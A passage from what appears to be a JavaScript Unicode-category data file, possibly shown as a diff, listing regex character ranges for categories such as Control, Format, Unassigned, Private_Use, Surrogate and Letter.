3E\u0E5C-\u0E80\u0E83\u0E85\u0E8B\u0EA4\u0EA6\u0EBE\u0EBF\u0EC5\u0EC7\u0ECE\u0ECF\u0EDA\u0EDB\u0EE0-\u0EFF\u0F48\u0F6D-\u0F70\u0F98\u0FBD\u0FCD\u0FDB-\u0FFF\u10C6\u10C8-\u10CC\u10CE\u10CF\u1249\u124E\u124F\u1257\u1259\u125E\u125F\u1289\u128E\u128F\u12B1\u12B6\u12B7\u12BF\u12C1\u12C6\u12C7\u12D7\u1311\u1316\u1317\u135B\u135C\u137D-\u137F\u139A-\u139F\u13F6\u13F7\u13FE\u13FF\u169D-\u169F\u16F9-\u16FF\u1716-\u171E\u1737-\u173F\u1754-\u175F\u176D\u1771\u1774-\u177F\u17DE\u17DF\u17EA-\u17EF\u17FA-\u17FF\u180E\u181A-\u181F\u1879-\u187F\u18AB-\u18AF\u18F6-\u18FF\u191F\u192C-\u192F\u193C-\u193F\u1941-\u1943\u196E\u196F\u1975-\u197F\u19AC-\u19AF\u19CA-\u19CF\u19DB-\u19DD\u1A1C\u1A1D\u1A5F\u1A7D\u1A7E\u1A8A-\u1A8F\u1A9A-\u1A9F\u1AAE\u1AAF\u1ACF-\u1AFF\u1B4D-\u1B4F\u1B7F\u1BF4-\u1BFB\u1C38-\u1C3A\u1C4A-\u1C4C\u1C89-\u1C8F\u1CBB\u1CBC\u1CC8-\u1CCF\u1CFB-\u1CFF\u1F16\u1F17\u1F1E\u1F1F\u1F46\u1F47\u1F4E\u1F4F\u1F58\u1F5A\u1F5C\u1F5E\u1F7E\u1F7F\u1FB5\u1FC5\u1FD4\u1FD5\u1FDC\u1FF0\u1FF1\u1FF5\u1FFF\u200B-\u200F\u202A-\u202E\u2060-\u206F\u2072\u2073\u208F\u209D-\u209F\u20C1-\u20CF\u20F1-\u20FF\u218C-\u218F\u2427-\u243F\u244B-\u245F\u2B74\u2B75\u2B96\u2CF4-\u2CF8\u2D26\u2D28-\u2D2C\u2D2E\u2D2F\u2D68-\u2D6E\u2D71-\u2D7E\u2D97-\u2D9F\u2DA7\u2DAF\u2DB7\u2DBF\u2DC7\u2DCF\u2DD7\u2DDF\u2E5E-\u2E7F\u2E9A\u2EF4-\u2EFF\u2FD6-\u2FEF\u2FFC-\u2FFF\u3040\u3097\u3098\u3100-\u3104\u3130\u318F\u31E4-\u31EF\u321F\uA48D-\uA48F\uA4C7-\uA4CF\uA62C-\uA63F\uA6F8-\uA6FF\uA7CB-\uA7CF\uA7D2\uA7D4\uA7DA-\uA7F1\uA82D-\uA82F\uA83A-\uA83F\uA878-\uA87F\uA8C6-\uA8CD\uA8DA-\uA8DF\uA954-\uA95E\uA97D-\uA97F\uA9CE\uA9DA-\uA9DD\uA9FF\uAA37-\uAA3F\uAA4E\uAA4F\uAA5A\uAA5B\uAAC3-\uAADA\uAAF7-\uAB00\uAB07\uAB08\uAB0F\uAB10\uAB17-\uAB1F\uAB27\uAB2F\uAB6C-\uAB6F\uABEE\uABEF\uABFA-\uABFF\uD7A4-\uD7AF\uD7C7-\uD7CA\uD7FC-\uF8FF\uFA6E\uFA6F\uFADA-\uFAFF\uFB07-\uFB12\uFB18-\uFB1C\uFB37\uFB3D\uFB3F\uFB42\uFB45\uFBC3-\uFBD2\uFD90\uFD91\uFDC8-\uFDCE\uFDD0-\uFDEF\uFE1A-\uFE1F\uFE53\uFE67\uFE6C-\uFE6F\uFE75\uFEFD-\uFF00\uFFBF-\uFFC1\uFFC8\uFFC9\uFFD0\uFFD1\uFFD8\uFFD9\uFFDD-\uFFDF\uFFE7\uFFEF-\uFFFB\uFFFE\uFFFF', - 'astral': '\uD800[\uDC0C\uDC27\uDC3B\uDC3E\uDC4E\uDC4F\uDC5E-\uDC7F\uDCFB-\uDCFF\uDD03-\uDD06\uDD34-\uDD36\uDD8F\uDD9D-\uDD9F\uDDA1-\uDDCF\uDDFE-\uDE7F\uDE9D-\uDE9F\uDED1-\uDEDF\uDEFC-\uDEFF\uDF24-\uDF2C\uDF4B-\uDF4F\uDF7B-\uDF7F\uDF9E\uDFC4-\uDFC7\uDFD6-\uDFFF]|\uD801[\uDC9E\uDC9F\uDCAA-\uDCAF\uDCD4-\uDCD7\uDCFC-\uDCFF\uDD28-\uDD2F\uDD64-\uDD6E\uDD7B\uDD8B\uDD93\uDD96\uDDA2\uDDB2\uDDBA\uDDBD-\uDDFF\uDF37-\uDF3F\uDF56-\uDF5F\uDF68-\uDF7F\uDF86\uDFB1\uDFBB-\uDFFF]|\uD802[\uDC06\uDC07\uDC09\uDC36\uDC39-\uDC3B\uDC3D\uDC3E\uDC56\uDC9F-\uDCA6\uDCB0-\uDCDF\uDCF3\uDCF6-\uDCFA\uDD1C-\uDD1E\uDD3A-\uDD3E\uDD40-\uDD7F\uDDB8-\uDDBB\uDDD0\uDDD1\uDE04\uDE07-\uDE0B\uDE14\uDE18\uDE36\uDE37\uDE3B-\uDE3E\uDE49-\uDE4F\uDE59-\uDE5F\uDEA0-\uDEBF\uDEE7-\uDEEA\uDEF7-\uDEFF\uDF36-\uDF38\uDF56\uDF57\uDF73-\uDF77\uDF92-\uDF98\uDF9D-\uDFA8\uDFB0-\uDFFF]|\uD803[\uDC49-\uDC7F\uDCB3-\uDCBF\uDCF3-\uDCF9\uDD28-\uDD2F\uDD3A-\uDE5F\uDE7F\uDEAA\uDEAE\uDEAF\uDEB2-\uDEFF\uDF28-\uDF2F\uDF5A-\uDF6F\uDF8A-\uDFAF\uDFCC-\uDFDF\uDFF7-\uDFFF]|\uD804[\uDC4E-\uDC51\uDC76-\uDC7E\uDCBD\uDCC3-\uDCCF\uDCE9-\uDCEF\uDCFA-\uDCFF\uDD35\uDD48-\uDD4F\uDD77-\uDD7F\uDDE0\uDDF5-\uDDFF\uDE12\uDE3F-\uDE7F\uDE87\uDE89\uDE8E\uDE9E\uDEAA-\uDEAF\uDEEB-\uDEEF\uDEFA-\uDEFF\uDF04\uDF0D\uDF0E\uDF11\uDF12\uDF29\uDF31\uDF34\uDF3A\uDF45\uDF46\uDF49\uDF4A\uDF4E\uDF4F\uDF51-\uDF56\uDF58-\uDF5C\uDF64\uDF65\uDF6D-\uDF6F\uDF75-\uDFFF]|\uD805[\uDC5C\uDC62-\uDC7F\uDCC8-\uDCCF\uDCDA-\uDD7F\uDDB6\uDDB7\uDDDE-\uDDFF\uDE45-\uDE4F\uDE5A-\uDE5F\uDE6D-\uDE7F\uDEBA-\uDEBF\uDECA-\uDEFF\uDF1B\uDF1C\uDF2C-\uDF2F\uDF47-\uDFFF]|\uD806[\uDC3C-\uDC9F\uDCF3-\uDCFE\uDD07\uDD08\uDD0A\uDD0B\uDD14\uDD17\uDD36\uDD39\uDD3A\uDD47-\uDD4F\uDD5A-\uDD9F\uDDA8\uDDA9\uDDD8\uDDD9\uDDE5-\uDDFF\uDE48-\uDE4F\uDEA3-\uDEAF\uDEF9-\uDFFF]|\uD807[\uDC09\uDC37\uDC46-\uDC4F\uDC6D-\uDC6F\uDC90\uDC91\uDCA8\uDCB7-\uDCFF\uDD07\uDD0A\uDD37-\uDD39\uDD3B\uDD3E\uDD48-\uDD4F\uDD5A-\uDD5F\uDD66\uDD69\uDD8F\uDD92\uDD99-\uDD9F\uDDAA-\uDEDF\uDEF9-\uDFAF\uDFB1-\uDFBF\uDFF2-\uDFFE]|\uD808[\uDF9A-\uDFFF]|\uD809[\uDC6F\uDC75-\uDC7F\uDD44-\uDFFF]|[\uD80A\uD80E-\uD810\uD812-\uD819\uD824-\uD82A\uD82D\uD82E\uD830-\uD832\uD83F\uD87B-\uD87D\uD87F\uD885-\uDB3F\uDB41-\uDBFF][\uDC00-\uDFFF]|\uD80B[\uDC00-\uDF8F\uDFF3-\uDFFF]|\uD80D[\uDC2F-\uDFFF]|\uD811[\uDE47-\uDFFF]|\uD81A[\uDE39-\uDE3F\uDE5F\uDE6A-\uDE6D\uDEBF\uDECA-\uDECF\uDEEE\uDEEF\uDEF6-\uDEFF\uDF46-\uDF4F\uDF5A\uDF62\uDF78-\uDF7C\uDF90-\uDFFF]|\uD81B[\uDC00-\uDE3F\uDE9B-\uDEFF\uDF4B-\uDF4E\uDF88-\uDF8E\uDFA0-\uDFDF\uDFE5-\uDFEF\uDFF2-\uDFFF]|\uD821[\uDFF8-\uDFFF]|\uD823[\uDCD6-\uDCFF\uDD09-\uDFFF]|\uD82B[\uDC00-\uDFEF\uDFF4\uDFFC\uDFFF]|\uD82C[\uDD23-\uDD4F\uDD53-\uDD63\uDD68-\uDD6F\uDEFC-\uDFFF]|\uD82F[\uDC6B-\uDC6F\uDC7D-\uDC7F\uDC89-\uDC8F\uDC9A\uDC9B\uDCA0-\uDFFF]|\uD833[\uDC00-\uDEFF\uDF2E\uDF2F\uDF47-\uDF4F\uDFC4-\uDFFF]|\uD834[\uDCF6-\uDCFF\uDD27\uDD28\uDD73-\uDD7A\uDDEB-\uDDFF\uDE46-\uDEDF\uDEF4-\uDEFF\uDF57-\uDF5F\uDF79-\uDFFF]|\uD835[\uDC55\uDC9D\uDCA0\uDCA1\uDCA3\uDCA4\uDCA7\uDCA8\uDCAD\uDCBA\uDCBC\uDCC4\uDD06\uDD0B\uDD0C\uDD15\uDD1D\uDD3A\uDD3F\uDD45\uDD47-\uDD49\uDD51\uDEA6\uDEA7\uDFCC\uDFCD]|\uD836[\uDE8C-\uDE9A\uDEA0\uDEB0-\uDFFF]|\uD837[\uDC00-\uDEFF\uDF1F-\uDFFF]|\uD838[\uDC07\uDC19\uDC1A\uDC22\uDC25\uDC2B-\uDCFF\uDD2D-\uDD2F\uDD3E\uDD3F\uDD4A-\uDD4D\uDD50-\uDE8F\uDEAF-\uDEBF\uDEFA-\uDEFE\uDF00-\uDFFF]|\uD839[\uDC00-\uDFDF\uDFE7\uDFEC\uDFEF\uDFFF]|\uD83A[\uDCC5\uDCC6\uDCD7-\uDCFF\uDD4C-\uDD4F\uDD5A-\uDD5D\uDD60-\uDFFF]|\uD83B[\uDC00-\uDC70\uDCB5-\uDD00\uDD3E-\uDDFF\uDE04\uDE20\uDE23\uDE25\uDE26\uDE28\uDE33\uDE38\uDE3A\uDE3C-\uDE41\uDE43-\uDE46\uDE48\uDE4A\uDE4C\uDE50\uDE53\uDE55\uDE56\uDE58\uDE5A\uDE5C\uDE5E\uDE60\uDE63\uDE65\uDE66\uDE6B\uDE73\uDE78\uDE7D\uDE7F\uDE8A\uDE9C-\uDEA0\uDEA4\uDEAA\uDEBC-\uDEEF\uDEF2-\uDFFF]|\uD83C[\uDC2C-\uDC2F\uDC94-\uDC9F\uDCAF\uDCB0\uDCC0\uDCD0\uDCF6-\uDCFF\uDDAE-\uDDE5\uDE03-\uDE0F\uDE3C-\uDE3F\uDE49-\uDE4F\uDE52-\uDE5F\uDE66-\uDEFF]|\uD83D[\uDED8-\uDEDC\uDEED-\uDEEF\uDEFD-\uDEFF\uDF74-\uDF7F\uDFD9-\uDFDF\uDFEC-\uDFEF\uDFF1-\uDFFF]|\uD83E[\uDC0C-\uDC0F\uDC48-\uDC4F\uDC5A-\uDC5F\uDC88-\uDC8F\uDCAE\uDCAF\uDCB2-\uDCFF\uDE54-\uDE5F\uDE6E\uDE6F\uDE75-\uDE77\uDE7D-\uDE7F\uDE87-\uDE8F\uDEAD-\uDEAF\uDEBB-\uDEBF\uDEC6-\uDECF\uDEDA-\uDEDF\uDEE8-\uDEEF\uDEF7-\uDEFF\uDF93\uDFCB-\uDFEF\uDFFA-\uDFFF]|\uD869[\uDEE0-\uDEFF]|\uD86D[\uDF39-\uDF3F]|\uD86E[\uDC1E\uDC1F]|\uD873[\uDEA2-\uDEAF]|\uD87A[\uDFE1-\uDFFF]|\uD87E[\uDE1E-\uDFFF]|\uD884[\uDF4B-\uDFFF]|\uDB40[\uDC00-\uDCFF\uDDF0-\uDFFF]' - }, - { - 'name': 'Cc', - 'alias': 'Control', - 'bmp': '\0-\x1F\x7F-\x9F' - }, - { - 'name': 'Cf', - 'alias': 'Format', - 'bmp': '\xAD\u0600-\u0605\u061C\u06DD\u070F\u0890\u0891\u08E2\u180E\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u206F\uFEFF\uFFF9-\uFFFB', - 'astral': '\uD804[\uDCBD\uDCCD]|\uD80D[\uDC30-\uDC38]|\uD82F[\uDCA0-\uDCA3]|\uD834[\uDD73-\uDD7A]|\uDB40[\uDC01\uDC20-\uDC7F]' - }, - { - 'name': 'Cn', - 'alias': 'Unassigned', - 'bmp': '\u0378\u0379\u0380-\u0383\u038B\u038D\u03A2\u0530\u0557\u0558\u058B\u058C\u0590\u05C8-\u05CF\u05EB-\u05EE\u05F5-\u05FF\u070E\u074B\u074C\u07B2-\u07BF\u07FB\u07FC\u082E\u082F\u083F\u085C\u085D\u085F\u086B-\u086F\u088F\u0892-\u0897\u0984\u098D\u098E\u0991\u0992\u09A9\u09B1\u09B3-\u09B5\u09BA\u09BB\u09C5\u09C6\u09C9\u09CA\u09CF-\u09D6\u09D8-\u09DB\u09DE\u09E4\u09E5\u09FF\u0A00\u0A04\u0A0B-\u0A0E\u0A11\u0A12\u0A29\u0A31\u0A34\u0A37\u0A3A\u0A3B\u0A3D\u0A43-\u0A46\u0A49\u0A4A\u0A4E-\u0A50\u0A52-\u0A58\u0A5D\u0A5F-\u0A65\u0A77-\u0A80\u0A84\u0A8E\u0A92\u0AA9\u0AB1\u0AB4\u0ABA\u0ABB\u0AC6\u0ACA\u0ACE\u0ACF\u0AD1-\u0ADF\u0AE4\u0AE5\u0AF2-\u0AF8\u0B00\u0B04\u0B0D\u0B0E\u0B11\u0B12\u0B29\u0B31\u0B34\u0B3A\u0B3B\u0B45\u0B46\u0B49\u0B4A\u0B4E-\u0B54\u0B58-\u0B5B\u0B5E\u0B64\u0B65\u0B78-\u0B81\u0B84\u0B8B-\u0B8D\u0B91\u0B96-\u0B98\u0B9B\u0B9D\u0BA0-\u0BA2\u0BA5-\u0BA7\u0BAB-\u0BAD\u0BBA-\u0BBD\u0BC3-\u0BC5\u0BC9\u0BCE\u0BCF\u0BD1-\u0BD6\u0BD8-\u0BE5\u0BFB-\u0BFF\u0C0D\u0C11\u0C29\u0C3A\u0C3B\u0C45\u0C49\u0C4E-\u0C54\u0C57\u0C5B\u0C5C\u0C5E\u0C5F\u0C64\u0C65\u0C70-\u0C76\u0C8D\u0C91\u0CA9\u0CB4\u0CBA\u0CBB\u0CC5\u0CC9\u0CCE-\u0CD4\u0CD7-\u0CDC\u0CDF\u0CE4\u0CE5\u0CF0\u0CF3-\u0CFF\u0D0D\u0D11\u0D45\u0D49\u0D50-\u0D53\u0D64\u0D65\u0D80\u0D84\u0D97-\u0D99\u0DB2\u0DBC\u0DBE\u0DBF\u0DC7-\u0DC9\u0DCB-\u0DCE\u0DD5\u0DD7\u0DE0-\u0DE5\u0DF0\u0DF1\u0DF5-\u0E00\u0E3B-\u0E3E\u0E5C-\u0E80\u0E83\u0E85\u0E8B\u0EA4\u0EA6\u0EBE\u0EBF\u0EC5\u0EC7\u0ECE\u0ECF\u0EDA\u0EDB\u0EE0-\u0EFF\u0F48\u0F6D-\u0F70\u0F98\u0FBD\u0FCD\u0FDB-\u0FFF\u10C6\u10C8-\u10CC\u10CE\u10CF\u1249\u124E\u124F\u1257\u1259\u125E\u125F\u1289\u128E\u128F\u12B1\u12B6\u12B7\u12BF\u12C1\u12C6\u12C7\u12D7\u1311\u1316\u1317\u135B\u135C\u137D-\u137F\u139A-\u139F\u13F6\u13F7\u13FE\u13FF\u169D-\u169F\u16F9-\u16FF\u1716-\u171E\u1737-\u173F\u1754-\u175F\u176D\u1771\u1774-\u177F\u17DE\u17DF\u17EA-\u17EF\u17FA-\u17FF\u181A-\u181F\u1879-\u187F\u18AB-\u18AF\u18F6-\u18FF\u191F\u192C-\u192F\u193C-\u193F\u1941-\u1943\u196E\u196F\u1975-\u197F\u19AC-\u19AF\u19CA-\u19CF\u19DB-\u19DD\u1A1C\u1A1D\u1A5F\u1A7D\u1A7E\u1A8A-\u1A8F\u1A9A-\u1A9F\u1AAE\u1AAF\u1ACF-\u1AFF\u1B4D-\u1B4F\u1B7F\u1BF4-\u1BFB\u1C38-\u1C3A\u1C4A-\u1C4C\u1C89-\u1C8F\u1CBB\u1CBC\u1CC8-\u1CCF\u1CFB-\u1CFF\u1F16\u1F17\u1F1E\u1F1F\u1F46\u1F47\u1F4E\u1F4F\u1F58\u1F5A\u1F5C\u1F5E\u1F7E\u1F7F\u1FB5\u1FC5\u1FD4\u1FD5\u1FDC\u1FF0\u1FF1\u1FF5\u1FFF\u2065\u2072\u2073\u208F\u209D-\u209F\u20C1-\u20CF\u20F1-\u20FF\u218C-\u218F\u2427-\u243F\u244B-\u245F\u2B74\u2B75\u2B96\u2CF4-\u2CF8\u2D26\u2D28-\u2D2C\u2D2E\u2D2F\u2D68-\u2D6E\u2D71-\u2D7E\u2D97-\u2D9F\u2DA7\u2DAF\u2DB7\u2DBF\u2DC7\u2DCF\u2DD7\u2DDF\u2E5E-\u2E7F\u2E9A\u2EF4-\u2EFF\u2FD6-\u2FEF\u2FFC-\u2FFF\u3040\u3097\u3098\u3100-\u3104\u3130\u318F\u31E4-\u31EF\u321F\uA48D-\uA48F\uA4C7-\uA4CF\uA62C-\uA63F\uA6F8-\uA6FF\uA7CB-\uA7CF\uA7D2\uA7D4\uA7DA-\uA7F1\uA82D-\uA82F\uA83A-\uA83F\uA878-\uA87F\uA8C6-\uA8CD\uA8DA-\uA8DF\uA954-\uA95E\uA97D-\uA97F\uA9CE\uA9DA-\uA9DD\uA9FF\uAA37-\uAA3F\uAA4E\uAA4F\uAA5A\uAA5B\uAAC3-\uAADA\uAAF7-\uAB00\uAB07\uAB08\uAB0F\uAB10\uAB17-\uAB1F\uAB27\uAB2F\uAB6C-\uAB6F\uABEE\uABEF\uABFA-\uABFF\uD7A4-\uD7AF\uD7C7-\uD7CA\uD7FC-\uD7FF\uFA6E\uFA6F\uFADA-\uFAFF\uFB07-\uFB12\uFB18-\uFB1C\uFB37\uFB3D\uFB3F\uFB42\uFB45\uFBC3-\uFBD2\uFD90\uFD91\uFDC8-\uFDCE\uFDD0-\uFDEF\uFE1A-\uFE1F\uFE53\uFE67\uFE6C-\uFE6F\uFE75\uFEFD\uFEFE\uFF00\uFFBF-\uFFC1\uFFC8\uFFC9\uFFD0\uFFD1\uFFD8\uFFD9\uFFDD-\uFFDF\uFFE7\uFFEF-\uFFF8\uFFFE\uFFFF', - 'astral': '\uD800[\uDC0C\uDC27\uDC3B\uDC3E\uDC4E\uDC4F\uDC5E-\uDC7F\uDCFB-\uDCFF\uDD03-\uDD06\uDD34-\uDD36\uDD8F\uDD9D-\uDD9F\uDDA1-\uDDCF\uDDFE-\uDE7F\uDE9D-\uDE9F\uDED1-\uDEDF\uDEFC-\uDEFF\uDF24-\uDF2C\uDF4B-\uDF4F\uDF7B-\uDF7F\uDF9E\uDFC4-\uDFC7\uDFD6-\uDFFF]|\uD801[\uDC9E\uDC9F\uDCAA-\uDCAF\uDCD4-\uDCD7\uDCFC-\uDCFF\uDD28-\uDD2F\uDD64-\uDD6E\uDD7B\uDD8B\uDD93\uDD96\uDDA2\uDDB2\uDDBA\uDDBD-\uDDFF\uDF37-\uDF3F\uDF56-\uDF5F\uDF68-\uDF7F\uDF86\uDFB1\uDFBB-\uDFFF]|\uD802[\uDC06\uDC07\uDC09\uDC36\uDC39-\uDC3B\uDC3D\uDC3E\uDC56\uDC9F-\uDCA6\uDCB0-\uDCDF\uDCF3\uDCF6-\uDCFA\uDD1C-\uDD1E\uDD3A-\uDD3E\uDD40-\uDD7F\uDDB8-\uDDBB\uDDD0\uDDD1\uDE04\uDE07-\uDE0B\uDE14\uDE18\uDE36\uDE37\uDE3B-\uDE3E\uDE49-\uDE4F\uDE59-\uDE5F\uDEA0-\uDEBF\uDEE7-\uDEEA\uDEF7-\uDEFF\uDF36-\uDF38\uDF56\uDF57\uDF73-\uDF77\uDF92-\uDF98\uDF9D-\uDFA8\uDFB0-\uDFFF]|\uD803[\uDC49-\uDC7F\uDCB3-\uDCBF\uDCF3-\uDCF9\uDD28-\uDD2F\uDD3A-\uDE5F\uDE7F\uDEAA\uDEAE\uDEAF\uDEB2-\uDEFF\uDF28-\uDF2F\uDF5A-\uDF6F\uDF8A-\uDFAF\uDFCC-\uDFDF\uDFF7-\uDFFF]|\uD804[\uDC4E-\uDC51\uDC76-\uDC7E\uDCC3-\uDCCC\uDCCE\uDCCF\uDCE9-\uDCEF\uDCFA-\uDCFF\uDD35\uDD48-\uDD4F\uDD77-\uDD7F\uDDE0\uDDF5-\uDDFF\uDE12\uDE3F-\uDE7F\uDE87\uDE89\uDE8E\uDE9E\uDEAA-\uDEAF\uDEEB-\uDEEF\uDEFA-\uDEFF\uDF04\uDF0D\uDF0E\uDF11\uDF12\uDF29\uDF31\uDF34\uDF3A\uDF45\uDF46\uDF49\uDF4A\uDF4E\uDF4F\uDF51-\uDF56\uDF58-\uDF5C\uDF64\uDF65\uDF6D-\uDF6F\uDF75-\uDFFF]|\uD805[\uDC5C\uDC62-\uDC7F\uDCC8-\uDCCF\uDCDA-\uDD7F\uDDB6\uDDB7\uDDDE-\uDDFF\uDE45-\uDE4F\uDE5A-\uDE5F\uDE6D-\uDE7F\uDEBA-\uDEBF\uDECA-\uDEFF\uDF1B\uDF1C\uDF2C-\uDF2F\uDF47-\uDFFF]|\uD806[\uDC3C-\uDC9F\uDCF3-\uDCFE\uDD07\uDD08\uDD0A\uDD0B\uDD14\uDD17\uDD36\uDD39\uDD3A\uDD47-\uDD4F\uDD5A-\uDD9F\uDDA8\uDDA9\uDDD8\uDDD9\uDDE5-\uDDFF\uDE48-\uDE4F\uDEA3-\uDEAF\uDEF9-\uDFFF]|\uD807[\uDC09\uDC37\uDC46-\uDC4F\uDC6D-\uDC6F\uDC90\uDC91\uDCA8\uDCB7-\uDCFF\uDD07\uDD0A\uDD37-\uDD39\uDD3B\uDD3E\uDD48-\uDD4F\uDD5A-\uDD5F\uDD66\uDD69\uDD8F\uDD92\uDD99-\uDD9F\uDDAA-\uDEDF\uDEF9-\uDFAF\uDFB1-\uDFBF\uDFF2-\uDFFE]|\uD808[\uDF9A-\uDFFF]|\uD809[\uDC6F\uDC75-\uDC7F\uDD44-\uDFFF]|[\uD80A\uD80E-\uD810\uD812-\uD819\uD824-\uD82A\uD82D\uD82E\uD830-\uD832\uD83F\uD87B-\uD87D\uD87F\uD885-\uDB3F\uDB41-\uDB7F][\uDC00-\uDFFF]|\uD80B[\uDC00-\uDF8F\uDFF3-\uDFFF]|\uD80D[\uDC2F\uDC39-\uDFFF]|\uD811[\uDE47-\uDFFF]|\uD81A[\uDE39-\uDE3F\uDE5F\uDE6A-\uDE6D\uDEBF\uDECA-\uDECF\uDEEE\uDEEF\uDEF6-\uDEFF\uDF46-\uDF4F\uDF5A\uDF62\uDF78-\uDF7C\uDF90-\uDFFF]|\uD81B[\uDC00-\uDE3F\uDE9B-\uDEFF\uDF4B-\uDF4E\uDF88-\uDF8E\uDFA0-\uDFDF\uDFE5-\uDFEF\uDFF2-\uDFFF]|\uD821[\uDFF8-\uDFFF]|\uD823[\uDCD6-\uDCFF\uDD09-\uDFFF]|\uD82B[\uDC00-\uDFEF\uDFF4\uDFFC\uDFFF]|\uD82C[\uDD23-\uDD4F\uDD53-\uDD63\uDD68-\uDD6F\uDEFC-\uDFFF]|\uD82F[\uDC6B-\uDC6F\uDC7D-\uDC7F\uDC89-\uDC8F\uDC9A\uDC9B\uDCA4-\uDFFF]|\uD833[\uDC00-\uDEFF\uDF2E\uDF2F\uDF47-\uDF4F\uDFC4-\uDFFF]|\uD834[\uDCF6-\uDCFF\uDD27\uDD28\uDDEB-\uDDFF\uDE46-\uDEDF\uDEF4-\uDEFF\uDF57-\uDF5F\uDF79-\uDFFF]|\uD835[\uDC55\uDC9D\uDCA0\uDCA1\uDCA3\uDCA4\uDCA7\uDCA8\uDCAD\uDCBA\uDCBC\uDCC4\uDD06\uDD0B\uDD0C\uDD15\uDD1D\uDD3A\uDD3F\uDD45\uDD47-\uDD49\uDD51\uDEA6\uDEA7\uDFCC\uDFCD]|\uD836[\uDE8C-\uDE9A\uDEA0\uDEB0-\uDFFF]|\uD837[\uDC00-\uDEFF\uDF1F-\uDFFF]|\uD838[\uDC07\uDC19\uDC1A\uDC22\uDC25\uDC2B-\uDCFF\uDD2D-\uDD2F\uDD3E\uDD3F\uDD4A-\uDD4D\uDD50-\uDE8F\uDEAF-\uDEBF\uDEFA-\uDEFE\uDF00-\uDFFF]|\uD839[\uDC00-\uDFDF\uDFE7\uDFEC\uDFEF\uDFFF]|\uD83A[\uDCC5\uDCC6\uDCD7-\uDCFF\uDD4C-\uDD4F\uDD5A-\uDD5D\uDD60-\uDFFF]|\uD83B[\uDC00-\uDC70\uDCB5-\uDD00\uDD3E-\uDDFF\uDE04\uDE20\uDE23\uDE25\uDE26\uDE28\uDE33\uDE38\uDE3A\uDE3C-\uDE41\uDE43-\uDE46\uDE48\uDE4A\uDE4C\uDE50\uDE53\uDE55\uDE56\uDE58\uDE5A\uDE5C\uDE5E\uDE60\uDE63\uDE65\uDE66\uDE6B\uDE73\uDE78\uDE7D\uDE7F\uDE8A\uDE9C-\uDEA0\uDEA4\uDEAA\uDEBC-\uDEEF\uDEF2-\uDFFF]|\uD83C[\uDC2C-\uDC2F\uDC94-\uDC9F\uDCAF\uDCB0\uDCC0\uDCD0\uDCF6-\uDCFF\uDDAE-\uDDE5\uDE03-\uDE0F\uDE3C-\uDE3F\uDE49-\uDE4F\uDE52-\uDE5F\uDE66-\uDEFF]|\uD83D[\uDED8-\uDEDC\uDEED-\uDEEF\uDEFD-\uDEFF\uDF74-\uDF7F\uDFD9-\uDFDF\uDFEC-\uDFEF\uDFF1-\uDFFF]|\uD83E[\uDC0C-\uDC0F\uDC48-\uDC4F\uDC5A-\uDC5F\uDC88-\uDC8F\uDCAE\uDCAF\uDCB2-\uDCFF\uDE54-\uDE5F\uDE6E\uDE6F\uDE75-\uDE77\uDE7D-\uDE7F\uDE87-\uDE8F\uDEAD-\uDEAF\uDEBB-\uDEBF\uDEC6-\uDECF\uDEDA-\uDEDF\uDEE8-\uDEEF\uDEF7-\uDEFF\uDF93\uDFCB-\uDFEF\uDFFA-\uDFFF]|\uD869[\uDEE0-\uDEFF]|\uD86D[\uDF39-\uDF3F]|\uD86E[\uDC1E\uDC1F]|\uD873[\uDEA2-\uDEAF]|\uD87A[\uDFE1-\uDFFF]|\uD87E[\uDE1E-\uDFFF]|\uD884[\uDF4B-\uDFFF]|\uDB40[\uDC00\uDC02-\uDC1F\uDC80-\uDCFF\uDDF0-\uDFFF]|[\uDBBF\uDBFF][\uDFFE\uDFFF]' - }, - { - 'name': 'Co', - 'alias': 'Private_Use', - 'bmp': '\uE000-\uF8FF', - 'astral': '[\uDB80-\uDBBE\uDBC0-\uDBFE][\uDC00-\uDFFF]|[\uDBBF\uDBFF][\uDC00-\uDFFD]' - }, - { - 'name': 'Cs', - 'alias': 'Surrogate', - 'bmp': '\uD800-\uDFFF' - }, - { - 'name': 'L', - 'alias': 'Letter', - 'bmp': 'A-Za-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u05D0-\u05EA\u05EF-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u0870-\u0887\u0889-\u088E\u08A0-\u08C9\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D04-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0D